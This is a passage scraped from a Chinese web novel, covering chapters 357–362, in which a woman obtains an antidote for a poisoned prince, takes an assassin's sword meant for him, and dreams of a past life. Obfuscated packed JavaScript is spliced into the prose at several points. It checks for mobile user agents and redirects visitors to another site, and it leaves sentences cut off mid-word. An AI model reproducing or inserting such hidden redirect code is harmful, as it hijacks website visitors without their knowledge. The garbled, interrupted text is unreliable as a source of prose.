l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408203|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁反而冷静下来,她没有挣扎,只是沉着脸,一字一句清晰地说道,“但你要将**的方子给我,以便孙大夫能制出解药。只要大人平安无事,我就和你一起离开衙门!” “你还说跟他没有关系!”姜天泽被她的话彻底激怒,嫉妒的毒火在他胸腔里疯狂燃烧,“既然没有关系,你又何必在乎他的死活?!” “他是我的救命恩人!”姜姝宁迎上他疯狂的目光,毫不退缩,“那日在谷底,若不是他出手相救,我早就**!让我眼睁睁看着救命恩人被毒死,我办不到!” “天泽,若你真心喜欢我,就将**的方子给我!”她盯着他,眼中掠过一丝决绝的狠意,那是一种不惜玉石俱焚的疯狂,“否则,我便回去吃下景大人吃下的饭菜,和他中一样的毒!若他**,我也绝不苟活!” “不要!” 姜天泽被吓到了,脸上血色尽褪。 他可以不在乎任何人的死活,唯独她不行。 他几乎是慌不择路地从袖中掏出一个小小的白玉瓷瓶,猛地塞进她手里,“这就是我给他下的毒!你拿回去给他身边那个大夫,他肯定能制出解药来!” 姜姝宁一把攥紧那个冰凉的瓷瓶,抬起头,目光冷得像淬了冰的刀子。 “天泽,希望你不要骗我。若你骗我,我就将这**服下!”她顿了顿,每一个字都带着不容置喙的决断,“我不管你从前和景大人有什么恩怨,但这一次,我一定要救他!” 姜天泽看着她眼中的那份执拗,心脏像是被一只无形的手紧紧攥住,又痛又无力。 他沉声开口,声音里带着压抑的沙哑:“你放心,我绝不会拿你的性命开玩笑!” 他停顿了一下,眼中闪过一丝阴狠的占有欲。 “阿宁,你也要信守承诺,只要那个景大人被救活,你便要和我一起离开南朔,永远不要再回来!”他的话锋陡然变得凌厉,“否则,我不介意再给那个景大人下一次毒!” 姜姝宁攥着瓷瓶的手指因为用力而泛白,她没有丝毫犹豫。 “一言为定!” 第358章 他生命中的过客 第三百五十八章他生命中的过客 姜姝宁攥着姜天泽给她的那个白玉瓷瓶,马不停蹄地赶回了衙门,将瓷瓶交给孙神医。 “孙大夫,这是姜天泽下的毒。您快看看,能不能配出解药。” 孙神医神情一凛,立刻拿起瓷瓶,拔开塞子,凑到鼻尖小心翼翼地闻了闻,又倒出一点粉末在指尖捻开。 他的脸色越发凝重。 “好阴毒的玩意儿……”他喃喃自语,随即抬头,眼中迸发出医者的执着,“不过,有原毒在,就有法子!姑娘放心,老夫就算不眠不休,也一定把解药给他配出来!” 说完,他便一头扎进了那堆瓶瓶罐罐和药草之中,再也顾不上旁人。 姜姝宁看着他专注的背影,紧绷的神经稍稍松懈。 她没有离开,而是转身回了萧凌川的房间。 夜色深沉如墨。 她坐在床边的脚踏上,借着一豆昏黄的烛火,静静地看着他。 他躺在那里,呼吸微弱,脸色是病态的苍白,长长的睫毛在眼下投出一片暗影。 没了平日的清冷与威慑,他看起来竟有几分脆弱。 这一夜,她几乎没有合眼。 后半夜时,他忽然开始不安地呓语,眉头紧紧蹙起,像是陷入了什么可怕的梦魇。 “姝宁……” 他沙哑的低唤,像一根细小的针,猝不及防地刺进姜姝宁的心口。 她下意识地凑近了些。 “姝宁……别走……”他喘息着,神色痛苦,“别离开我……” 他的声音那么轻,却又那么沉,带着一丝近(乎)哀求的脆弱,重重地砸在姜姝宁的心上,砸得那颗心又酸又胀,几乎要裂开。 姝宁。 又是这个名字。 这个被他刻在心上,连在梦里都无法忘却的女子。 她到底是谁? 姜姝宁伸出手,犹豫了许久,最终只是轻轻将被子往上拉了拉,盖住他冰凉的手。 能被你这样爱着,定是个幸福的女子。 天光乍亮时,她才拖着灌了铅似的双腿走出房间。 一夜未眠,她的头昏昏沉沉,眼下一片青黑。 刚走到廊下,便迎面撞见了凌芜。 凌芜看到她,连忙关切道:“阿宁姑娘,你照顾了大人一夜,辛苦了!快去歇会吧,这里有我呢。” 姜姝宁摇了摇头,嘴唇动了动,那个盘旋了一整夜的问题,终于在这一刻冲破了喉咙的禁锢。 她鼓起勇气,抬眼看向凌芜:“凌芜姑娘,你在大人身边这么久……可曾见过一个叫‘姝宁’的姑娘?” 凌芜一愣,回过神来后有些忍俊不禁。 “何止见过!”她脱口而出,语气轻快得像只鸟儿,“不瞒你说,我就是我们大人专程请来保护她的!” 姜姝宁心口猛地一滞,她慌忙垂下眼帘,长长的睫毛遮住了眼底那片失控的惊涛骇浪。 “看来……大人很是在意这位姝宁姑娘。” “那可不!”凌芜完全没察觉她的异样,说起这个话题就停不下来,眼睛都在发光,“何止是在意啊!她简直就是我们大人心尖尖上的人!大人将她当眼珠子一样护着!若那位姝宁姑娘想要天上的月亮,我们大人绝对二话不说,搭梯子都得给她摘下来!” 那股酸胀的感觉再次翻涌而上,比昨夜更汹涌,更尖锐。 姜姝宁感觉自己的呼吸都变得困难。 “那……她现在……人呢?”她艰难地问出最后一个问题,“他们……怎么没在一起?” 凌芜脸上的笑容淡了些,她看了看姜姝宁,似乎在斟酌用词,最后长长叹了口气。“唉,他们之间啊……有点小误会。现在又遇到了些棘手的事……不过依我看啊,他们俩破镜重圆是早晚的事儿!” 凌芜心想,等王妃你恢复了记忆,想起王爷这段时日是如何将你捧在手心,又是如何护你周全,肯定会原谅王爷曾经不顾你的意愿,将你强留在景王府的那些过往。 到时候,你们这对有情人,可不就破镜重圆了! 可她这番在姜姝宁听来,却成了压垮骆驼的最后一根稻草。 破镜重圆。 原来,他们只是暂时分开了。 他们早晚会重新在一起,而她,注定是个会被遗忘的过客。 那股酸涩几乎要从喉咙里涌出来,姜姝宁死死咬着下唇,才勉强将那份**和悲哀咽了回去。 离开的决心,在这一刻,变得前所未有的坚定。 黄昏时分,孙神医终于端着一碗漆黑如墨的汤药冲了出来,脸上带着力竭的兴奋:“解药!成了!” 姜姝宁心头猛地一颤,像是沉在深渊中的灵魂骤然被拉回岸边,眼中霎时涌上激动的泪光:“太好了!孙大夫,让我来为大人喂药吧!” “那便有劳姑娘了!”孙神医将汤药递给她。 她迫不及待接过药碗,回到房里,扶起萧凌川,准备用一根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16408204|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中空的茎秆将药汁渡进他嘴里。 可他昏迷得太沉,牙关紧闭,药汁顺着嘴角流下,根本喂不进去。 试了几次,弄得他前襟湿了一片,一碗药却没喝下几口。 姜姝宁看着他毫无血色的薄唇,心中焦急万分。 再这样下去,药效就耽搁了。 她看着碗里剩下的半碗药,又看了看他紧闭的唇,一个念头不受控制地冒了出来,瞬间烧得她的脸颊通红。 但眼下,似乎没有别的办法了。 他的唇形很好看,线条旖旎分明,此刻因为失血而显得格外苍白冰冷。 即便是在这种时候,也有一种让人想要触碰、想要纠缠的魔力。 姜姝宁闭了闭眼,像是下定了什么决心。 她凑到他耳边,用只有自己能听见的声音低声道:“大人,事急从权,冒犯了。” 话音落下,她深吸一口气,含了一口苦涩的汤药,不再犹豫,俯身贴上了他冰冷的唇。 双唇相接的瞬间,一阵奇异的电流从唇瓣窜遍全身。 他的唇比先前更凉,像是深冬里未融的寒冰,触碰的瞬间,仿佛连她的心都被冻住了。 她不敢多想,用舌尖小心翼翼地抵开他的齿关,将口中的药汁缓缓渡了过去。 直到确认他喉结滚动,将药咽下,她才触电般地起身,脸颊已经红得能滴出血来。 虽然不是第一次这样嘴对嘴喂他吃药,但还是忍不住羞涩。 她不敢看他,继续重复着这个动作,一口,又一口。 直到一整碗药,悉数喂完。 窗外,凌芜端着热水路过,恰好从窗缝里看到了这令人面红耳赤的一幕。 她吓得差点叫出声,连忙捂住嘴巴,躲到墙角。 羞涩过后,便是抑制不住的狂喜。 天呐!王妃竟然肯嘴对嘴给王爷喂药! 这说明她心里已经彻底接受王爷了! 太好了!他们修成正果,指日可待啊! 她不知道,屋内的姜姝宁,正用帕子轻轻擦拭着萧凌川的唇角,看着他那张苍白却不损俊美的面容,心中却是截然不同的想法。 景大人,等你解了毒,身体康复,我便会离开这里。 你可以继续等待你的心上人,和她破镜重圆,修成正果。 至于我…… 我不过是你生命里一个无足轻重的过客罢了。 总有一天,你会将我彻底忘记的。 第359章 心像被猫挠,又痒又无奈 第三百五十九章心像被猫挠,又痒又无奈 长夜漫漫,当第一缕熹微的晨光透过窗棂,在地上投下斑驳的光影时,萧凌川的眼睫终于颤动了一下。 他缓缓睁开眼。 视野从一片混沌变得清晰,最先映入眼帘的,是一张近在咫尺的睡颜。 姜姝宁就趴在他的床沿,一只手托着腮,另一只手还虚虚地搭在他的被褥上。 她睡得并不安稳,长长的睫毛下有两圈淡淡的青影,秀气的眉头微微蹙着,仿佛在梦里也充满了忧虑。 一股难以言喻的暖流,从萧凌川冰冷的心脏深处涌起,瞬间扩散至全身。 **带来的刺骨疼痛,似乎在这一刻被尽数驱散。 他其实不怕死。 前世,他在万军丛中厮杀,在朝堂之上博弈,早已将生死置之度外。 他怕的,是再次留下遗憾。 怕的是穷尽一生,也无法握住眼前这只手,无法与她白头偕老,重蹈前世分崩离析的覆辙。 他贪婪地凝视着她,目光灼热得几乎要将空气点燃。 或许是他的视线太过滚烫,姜姝宁在睡梦中不安地动了动,羽睫轻颤,迷迷糊糊地醒了过来。 她揉了揉惺忪的睡眼,当看清他正睁着眼看着自己时,整个人瞬间清醒,睡意全无。 “大人,您醒了?”她的声音里带着一丝刚睡醒的沙哑,更多的却是压抑不住的激动与欣喜,“有没有哪里不舒服?” 他看着她眼底迸发出的光彩,那份真切的关怀像最有效的良药。 他干裂的薄唇微启,声音嘶哑得厉害:“本官没事。” 怎么可能没事? 在山谷底受的伤尚未痊愈,又中了如此凶险的剧毒,他的身体早已是**之末,内里千疮百孔。 姜姝宁以为他在逞强,鼻头瞬间就酸了。 她眼眶泛红:“大人,您别硬撑着。要是难受,您就说出来,民女……民女定会悉心照料您,直到您完全康复。” 她话语里的哽咽,像一根细细的针,扎在他心上,又疼又软。 看着她泛红的眼圈,他忽然觉得,就这么继续病着,似乎也不赖。 “本官原本……很难受。”他刻意放缓了语速,沙哑的嗓音带上了一丝蛊惑的意味,“可一看到你,一看到你为了本官,整夜衣不解带地守在这里,本官……就不难受了。” 这话里的暧昧,像一根羽毛,轻轻搔刮着空气。 姜姝宁的脸“腾”地一下就烧了起来,从脸颊一直蔓延到耳根。 她脑海里不受控制地闪过昨夜喂药时,唇瓣相贴的触感,冰凉、柔软,还有那苦涩的药汁…… 她猛地站起身,眼神慌乱地躲闪着,不敢再看他那双深邃的眼,生怕一不小心泄露了内心。 “大人看起来确实好多了,想必是解药起了效。民女……民女去请孙神医来为您瞧瞧!” 话音未落,她便像只受惊的兔子,几乎是落荒而逃。 望着她仓皇离去的背影,萧凌川嘴边那抹若有似无的笑意僵住了。 他懊恼地闭上眼,在心里骂了自己一句。 该死,操之过急了。 早知她这般容易害羞,就不说这么旖旎的话逗她了。 接下来的几日,姜姝宁比之前还要用心照料他。 她每日按时端来温热的汤药与清淡的饭食,为他擦拭身体、换上新的伤药时,动作轻柔而细致,。 偶尔,四目相对,她不再如从前般仓皇避开,而是定定地凝视着他,眼底藏着复杂的光芒,与他深邃的目光短暂纠缠,似有千言万语,却又在下一瞬悄然敛去。 萧凌川躺在床上,享受着她无微不至的照料,却不敢太过逾矩,心头就像被猫爪子挠似的,又痒又无奈。 因他身子未愈,回京的行程便一拖再拖。 对此,萧凌川本人毫不在意。 京中局势,自有姜丞相和他的拥趸者为他稳着。 他现在只想赖在这座边陲小城里,多享受一日这偷来的时光。 这日午后,凌芜端着新煎好的药进来,脸上带着几分凝重。 她将药碗放在桌上,犹豫片刻,还是低声开口了。 “王爷,凌风已回京城,并从京城传回消息。他说……圣上已经醒了,如今正在命人彻查西榆金矿一事。凌风让您尽快回京,也好有个应对,以免圣上借机降罪。” “降罪?”萧凌川闻言,嘴角勾起一抹冰冷的讥诮。 他慢慢撑起身子,靠在床头,原本因病而显得温和的眉眼,瞬间变得凌厉无比,阴沉得骇人。 他冷笑一声,语气里满是不屑与烦躁:“本王连自己的王妃都没空哄,哪有闲工夫去哄他那个病秧子?你传信给凌风,告诉他,不必遮遮掩掩。这金矿,就是本王开采的。让他即刻着手,将炼好的金子给本王运回京城皇宫,就说用以充盈国库!” 凌芜大惊失色:“王爷!这……无异于不打自招啊!” “招了又如何?”萧凌川眼中寒光一闪,“你再替本王给宫里那位带句话—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414986|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若他要怪罪,这批金子,本王就不运了!” 凌芜:“……” 普天之下,敢这么明目张胆跟皇帝叫板的,也就只有他们家这位爷了! —— 大邺皇宫,养心殿。 沉闷的空气里弥漫着经年不散的药味,混杂着龙涎香,熏得人头昏脑胀。 一封来自南朔的信笺,被狠狠掷在金丝楠木的御案上。 信纸边缘被捏得起了皱,仿佛承载了主人的滔**火。 “好一个萧凌川!” 龙椅上的萧政贤气得脸色涨红,枯瘦的手指死死攥着龙袍的袖口,指节泛白。 “他竟敢拿金矿威胁朕!他眼里还有没有朕这个皇帝?” 话音刚落,一阵剧烈的、撕心裂肺的咳嗽便扼住了他的喉咙。 他佝偻着身子,整个人都在颤抖,仿佛下一刻就要咳出血来。 “皇兄!” 一旁的萧怀瑾立刻上前,关切道,“皇兄息怒,龙体要紧!别为这点小事气坏了身子,不值当。” 萧政贤好不容易喘匀了气,浑浊的眼睛里布满血丝,死死盯着他:“五弟,萧凌川此举,与谋逆何异?若再放任他坐大,这天下,迟早要变成他的!” 他顿了顿,声音压得极低,像一条吐着信子的毒蛇,“趁他如今远在南朔,不如……派人去,将他直接了结!” 萧怀瑾垂下眼帘,长长的睫毛在眼下投下一片阴影,让人看不清他此刻的神情。 原本他此番回京,是想揪出萧凌川跟南月勾结的证据。 大邺王爷和南月首辅私下往来,这是板上钉钉的谋逆证据。 没想到那个被萧凌川宴请回府的南月首辅赵谦,被发现时竟被关在景王府的地牢里,浑身爬满蛇虫,惨不忍睹。 他们没了名正言顺扳倒萧凌川的理由。 如今,还有什么堂而皇之的借口,去动一个手握重兵、在朝中根基深厚的摄政王? 见萧怀瑾久久不语,萧政贤越发急躁,以为他心软了。 “五弟!都什么时候了,你还顾念那点可笑的兄弟手足之情?他萧凌川可曾念过你我半分情面!” 萧怀瑾缓缓抬起头。 他那张素来温润如玉的脸上,依旧挂着谦和的微笑,只是那笑意未达眼底,反而透着一股子阴冷的寒气。 他轻声开口,语气平静得可怕: “皇兄,臣弟不是在犹豫。” “臣弟是在想,要派什么人去,才能确保一击必杀,不留后患。” 第360章 以身挡剑 第三百六十章以身挡剑 子夜,南朔衙门万籁俱寂。 月亮被厚重的云层遮蔽,黑得伸手不见五指。 几道比夜色更深的影子,如鬼魅般掠过层层叠叠的屋瓦,动作轻盈,不带起一片落叶,不惊动一只栖鸟。 他们是萧怀瑾手中最锋利的刀,只为杀戮而生。 正倚着廊柱假寐的凌芜猛地睁开眼。 空气里多了一丝不属于此地的味道,极淡,却带着血腥气的凛冽。 她抬头,目光如鹰隼般扫过漆黑的屋脊。 就是那里! 几道人影一闪而过,正朝着王爷歇息的主屋而去! 凌芜心头一紧,脚下发力,整个人如离弦之箭般蹿上屋檐,腰间软剑“噌”地出鞘,在暗夜里划出一道冰冷的弧光。 “什么人!” 她厉喝一声,身形已然欺近,剑尖直指为首的黑衣人。 来人并不答话,只是一个手势,其余几人便分散开来,将她团团围住。 冰冷的杀气瞬间将她笼罩。 刀剑相击的脆响在寂静的夜里格外刺耳。 凌芜以一敌众,丝毫不落下风,剑法凌厉刁钻,招招攻向对方要害。 然而,就在她侧身躲过一刀,反手刺向另一人咽喉时,眼前的黑暗忽然扭曲了一下。 那双曾被毒粉所伤的眼睛传来一阵尖锐的刺痛,视野瞬间模糊。 就是这一刹那的迟滞,成了她败亡的开端。 一道劲风从她身后袭来,她察觉到了,却已来不及做出完整的闪避动作。 “砰!” 后颈传来一阵剧痛,她闷哼一声,眼前彻底陷入黑暗,身子一软,便倒在了冰凉的瓦片上。 为首的黑衣人看也未看她一眼,一挥手,几道黑影便如融化的墨汁,悄无声息地朝着那扇紧闭的房门潜去。 屋内,一灯如豆。 姜姝宁坐在床边的脚踏上,双手托腮,看着沉睡中的萧凌川。 他服了孙神医的药,睡得很沉,平日里总是紧蹙的眉头也舒展开来,少了几分平日的冷硬,多了几分难得的脆弱。 她就这样静静地看着,仿佛要把他的模样刻进骨子里。 忽然,一阵阴冷的风从窗缝里钻了进来,吹得烛火疯狂摇曳,几乎要熄灭。 不对劲。 今夜刮的是南风,这风向有异样! 姜姝宁霍然转身,心跳在这一刻差点停滞。 只见窗户纸上被划开一道整齐的十字,几道黑影正鱼贯而入,手中长剑闪烁着嗜血的寒芒,目标明确——床上熟睡的萧凌川! 有刺客! 她的身体比脑子反应更快。 一种源于灵魂深处的本能驱使着她,让她想也不想地扑了过去,张开双臂,用自己单薄的身躯,死死护住了身后的男人。 “噗嗤——” 利刃入肉的声音,沉闷得可怕。 一股撕心裂肺的剧痛从后心传来,瞬间传遍四肢百骸。 好痛…… 姜姝宁眼前一黑,浑身的力气都被抽干了。 她甚至能感觉到那冰冷的剑锋,是如何一寸寸碾过她的骨头,搅碎她的血肉。 她软软地倒下去,正好倒在萧凌川的身上。 这股突如其来的重压,和那声闷响,终于惊醒了沉睡中的萧凌川。 他睁开眼的瞬间,看到的就是姜姝宁惨白如纸的脸,和她背上那把狰狞的、几乎贯穿了她整个身体的长剑。 “姝宁!” 一声撕心裂肺的咆哮从他喉咙里炸开,那双墨色的眸子瞬间被血色吞噬。 一股狂暴到极致的杀意轰然爆发。 他一把将姜姝宁揽进怀里,顺势一个翻滚,护着她到了床角。 与此同时,他双腿如铁鞭般横扫而出,带着千钧之势,狠狠踹在两个冲上前的刺客胸口。 “咔嚓!” 骨头碎裂的声音清晰可闻。 那两个刺客像是被攻城槌击中,惨叫都来不及发出一声,便倒飞出去,重重撞在墙上,口中鲜血狂喷,当场毙命。 剩下的几个刺客被这凶神恶煞的一幕骇得肝胆俱裂。 不是说景王中了毒,奄奄一息吗? 这杀伤力,竟如此恐怖! 他们不敢恋战,交换了一个惊惧的眼神,毫不犹豫地转身从窗口跃出,瞬间消失在夜色里。 直到这时,院外才传来副将气急败坏的吼声和杂乱的脚步声:“有刺客!快!保护王爷!” 可萧凌川已经什么都听不见了。 他的世界里,只剩下怀里这个气息微弱、浑身是血的女人。 温热的鲜血从她的伤口汩汩涌出,染红了他的衣袍,烫得他心脏都在抽搐。 “姝宁……你为何这般傻……”他的声音抖得不成样子,抱着她的手臂青筋暴起,“为何要帮本王挡这一剑……” 他宁愿这一剑扎进自己胸口,也不愿看到她承受半分痛楚。 姜姝宁的意识已经涣散,剧痛让她连呼吸都变得艰难无比。 她费力地睁开眼,视线里,萧凌川的脸模糊不清,只看到他猩红的眼,和眼底那快要溢出来的绝望。 她想抬手摸摸他的脸,却没有一丝力气。 “大人……”她的声音细若蚊蚋,断断续续,“你……你没事……就……好……” 只要他还活着,就够了。 这句话像一把烧红的烙铁,狠狠烫在萧凌川的心上。 他体内的毒素因这剧烈的情绪波动和强行运功而再次翻涌,喉头一甜,一口鲜血猛地喷出,溅落在地上,触目惊心。 他颤抖着,小心翼翼地将她打横抱起,一脚踹开房门,对着院中乱成一团的官兵,用尽全身力气嘶吼道: “来人!快给本王把孙神医叫来!” 他的声音已经完全变了调,带着哭腔和野兽般的咆哮。 “本王的王妃中剑了!” 整个南朔衙门在一夜之间陷入空前的兵荒马乱,空气中弥漫着一股挥之不去的血腥气与不安。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“责罚你又有何用?”萧凌川声音低沉而冰冷,字里行间透着难以抑制的怒意,“本王要知道,今夜这些刺客,究竟是何人所派!敢在本王的眼皮子底下行凶,定要让他们血债血偿!” 副将额头冷汗直冒,忙不迭地回禀:“王爷,属下已仔细搜查过,在两名被击杀的刺客后背上发现了特殊的图腾刺青!只是属下愚钝,尚不知这刺青是否与他们的身份有关。” 说罢,他连忙命人将两具刺客的尸体抬上前来,翻过他们的身躯,露出后背上的图案,让萧凌川一探究竟。 烛光映照下,那刺青赫然是一只类似豹子的神兽,线条张扬而阴冷,似在咆哮,透着一股莫名的威压与杀气。 萧凌川的目光落在那刺青上,瞳孔骤然一缩,唇角却缓缓勾起一抹嗜血的冷笑,透着无尽的寒意与杀机。 “貔貅……”他低声呢喃,声音如寒冰般刺骨,带着一种咬牙切齿的恨意,“这是本王的五弟及其母族会用的神兽图腾。” 貔貅招财,只进不出。 身为大邺首富的崔家,表面上以商贾之名立世,暗地里却以此图案为密号,标记那些不为人知、藏于阴影之中的人或物。 这本是绝密之事,但萧凌川重生过一世,没有**的秘密。 他心中的怒火如燎原之势般熊熊燃烧,眼中寒光一闪而过。 萧怀瑾,你的人敢伤姝宁,本王定要让你付出代价! 第361章 什么都远不及她的性命重要! 第三百六十一章什么都远不及她的性命重要! “什么?有人替景王挡了一剑?”宁王府的书房里,檀香袅袅,却压不住那森然的寒意。 萧怀瑾的声音不高,却像淬了冰的刀子,刮得人骨头发疼,“本王不是交待过你们,除了景王,不许伤及无辜吗?” 死里逃生的几个暗卫,此刻跪在地上,浑身颤抖得厉害:“是……是那医女自己扑上去帮景王挡住剑的,我们也是防不胜防。” “医女?”萧怀瑾眉心猛地一跳,一张平凡却有几分倔强的脸,就这么蛮横地撞进了他的脑海。 这是属于“幼安堂”医女的面容。 不,不可能,天底下哪有这么巧的事。 他这样告诉自己,试图将那丝荒谬的不安压下去。 心口却像被一只无形的手攥住,缓缓收紧。 就算是她又如何? 一个见钱眼开的女人罢了。 伤了便伤了,又能怎样? 可他喉头滚动,终究是无法说服自己。 那股莫名的烦躁像野草一样疯长,堵得他胸口发闷。 他猛地站起身,声音里带着自己都未察觉的急切。 “来人,叫画师来!”他厉声下令,“你们几个,把替景王挡剑的那个医女的容貌形容清楚!本王要让画师,将她的面容画出来!” 命令一下,府里的下人不敢有片刻耽搁。 很快,画师便被带进了这间气氛凝重的书房。 画师铺开画纸,研好墨,几个暗卫你一言我一语,竭力回忆着衙门里混乱血腥中那道唯一的亮色。 “眼睛……她的眼睛很大,当时好像吓坏了,像林子里受惊的鹿。” “鼻子很挺,嘴唇……嘴唇没什么血色,抿得很紧。” “脸型是……哦对,瓜子脸,很瘦,下巴尖尖的。” 炭笔在宣纸上发出沙沙的声响,萧怀瑾背对着众人,一言不发。 终于,画师搁下笔,小心翼翼地捧着画卷,躬身道:“殿下,画好了。” 萧怀瑾缓缓转过身。 当他的目光触及画上那张脸的瞬间,心脏仿佛都停止了跳动。 画上的人,眉眼如画,鼻梁秀挺,唇瓣微张,带着一丝破碎的惊惶。 这张脸,是他熟悉到刻骨铭心的人……姜姝宁! 他伸出手,指尖颤抖得几乎握不住那薄薄的画纸。 “这就是……替景王挡剑……的人?”他的声音干涩得像是砂纸磨过,每一个字都从牙缝里挤出来。 他死死盯着那几个暗卫,眼神里翻涌着巨大的恐惧与难以置信。 暗卫们被他此刻的神情骇住,不敢有半点隐瞒,头埋得更低:“回宁王殿下,那医女……确实长这样。” “轰”的一声,萧怀瑾只觉得天旋地转,脑子里一片空白。 画纸从他指间滑落,飘飘荡荡地坠在地上,那张苍白的面容,像是一句无声的控诉。 他整个人都被抽干了精气神,温润如玉的面具寸寸龟裂,露出底下血淋淋的恐慌。 “她如今如何了?回答本王!”他猛地扑上前,一把揪住为首暗卫的衣领,双目赤红,状若疯癫。 暗卫们吓得魂飞魄散,战战兢兢地答道:“属下……属下也不知晓。只知道……当时刺中她的那一剑,是……是下了死手的……” 下了死手。 这四个字,像四把尖刀,狠狠捅(进)萧怀瑾的心口,搅得血肉模糊。 他温润的脸上煞白如纸,揪着暗卫的手无力地松开,整个人踉跄着后退,撞在身后的书架上,发出一声沉闷的巨响。 他闭上眼睛,心口一阵窒息般的剧痛。 姜姝宁……她怎么会回到萧凌川身边?她不是最恨他吗? 她又为何……要替他挡那一剑? 无数个问题在他脑中疯狂叫嚣,可所有的问题,都比不上她可能会死这个事实来得沉重。 “备马!”萧怀瑾猛地睁开眼,那双总是温和的眸子,此刻只剩下冰冷的决绝与疯狂,“本王要去南朔!” 暗卫们大骇,连忙跪地叩首:“殿下,万万不可!我们行刺失败,景王本就疑心重重,您若在这时候出现在南朔,岂不是不打自招!景王定会生疑!” “本王知道。”萧怀瑾的声音低沉而沙哑,他一把推开挡在身前的人,大步向外走去,衣袍带起的风都透着一股不顾一切的寒意。 “但这些,都远不及她的性命重要!” —— 意识沉浮在无边的黑暗里,像一叶孤舟,被看不见的暗流裹挟着,身不由己。 姜姝宁感觉自己正在穿过一条又冷又长的隧道,没有声音,没有光,只有一片虚无的死寂。 身体轻飘飘的,仿佛没了重量,胸口的剧痛也消失了,只剩下一种抽离魂魄的空洞感。 不知过了多久,前方终于透出一丝微弱的光亮。 那光越来越近,越来越亮,最终将她整个人吞没。 再睁眼时,她发现自己站在一个华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419707|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美的庭院里。 眼前是成片盛开的牡丹,开得热烈而秾丽,风中弥漫着馥郁的花香。 不远处,一个身穿华贵锦衣的女子背对着她,坐在石凳上。 一个婢女恭敬地侍立在她身侧。 只听那女子轻声开口,声音里带着一股挥之不去的疲惫:“王爷去哪了?” 那婢女的肩膀微微一缩,一副为难的模样。 “说。”女子的声音依旧轻柔,却多了一丝不容置喙的坚持。 婢女这才像是下定了什么决心,小声道:“回王妃,王爷他……他去见瑞王的侧妃了。” 她顿了顿,飞快地补充道,“京中有个新来的绣娘,能绣出极漂亮的南月花卉样式,侧妃很是喜欢。王爷便……将那绣娘买下,亲自送去瑞王府,让她专门为侧妃刺绣。” 空气仿佛凝固了。 良久,那女子发出一声极轻的笑,笑声里满是凄凉和自嘲:“他倒是对瑶真很上心,也不怕瑞王误会。” “王爷都是挑瑞王殿下不在府里的时候去的,瑞王殿下不会知道的!”婢女急急地解释道。 姜姝宁站在一旁,像个局外人,冷眼看着这一切。 她虽看不见那女子的脸,却能想象出她此刻的神情该是何等惨淡。 这婢女的话,听着是安慰,实则更像是在伤口上撒盐。 什么叫挑瑞王不在的时候去? 这不就是偷情吗? 就在这时,一个家丁快步跑进院子,躬身禀报:“王妃娘娘,王爷回来了。” 话音刚落,那原本颓然枯坐的女子,整个人陡然鲜活了起来,连背影都透着一股雀跃。 “冬梅,快!”她急切地吩咐身旁的婢女,“把我下午熬的那盅羊肉汤端来,王爷在外面跑了一天,肯定冻着了,正好给他暖暖身子!” 姜姝宁看得直皱眉,心里一阵无名火起。 这王妃是脑子有坑吗? 自己男人明目张胆地跑去讨好别的女人,她不哭不闹、不追究责任也就算了,居然还巴巴地准备热汤等着他回来? 这也太窝囊了! 活该被人欺负! 心中正腹诽着,那女子或许是听到了脚步声,欣喜地转过身来,想要迎上去。 也就在她转身的那一刹那,她的脸完完整整地映入了姜姝宁的眼帘。 姜姝宁脑中“嗡”的一声,如遭雷击,浑身的血液仿佛在瞬间冻结。 那张脸…… 分明就是她自己! 第362章 她命在旦夕 第三百六十二章她命在旦夕 这世上怎会有和自己生得一模一样的人? 连眉梢眼角的细微神情都别无二致。 姜姝宁怔在原地,心头掀起惊涛骇浪。 她试图上前,却发现自己像个透明的影子,根本无法移动,只能被迫地看着。 就在她惊疑不定之际,一个颀长的身影踏入了庭院。 那人身着一袭玄色锦袍,墨发用一支白玉簪束起,身姿挺拔如松,步履沉稳。 随着他走近,那张俊美无俦的脸也愈发清晰。 是景大人! 不,不对。 姜姝宁的心猛地一沉。 虽然五官一模一样,但眼前的男人眉宇间萦绕着一股久居上位的威严与冷漠,那双桃花眼里没有半分她熟悉的戏谑,只有一片深不见底的寒潭。 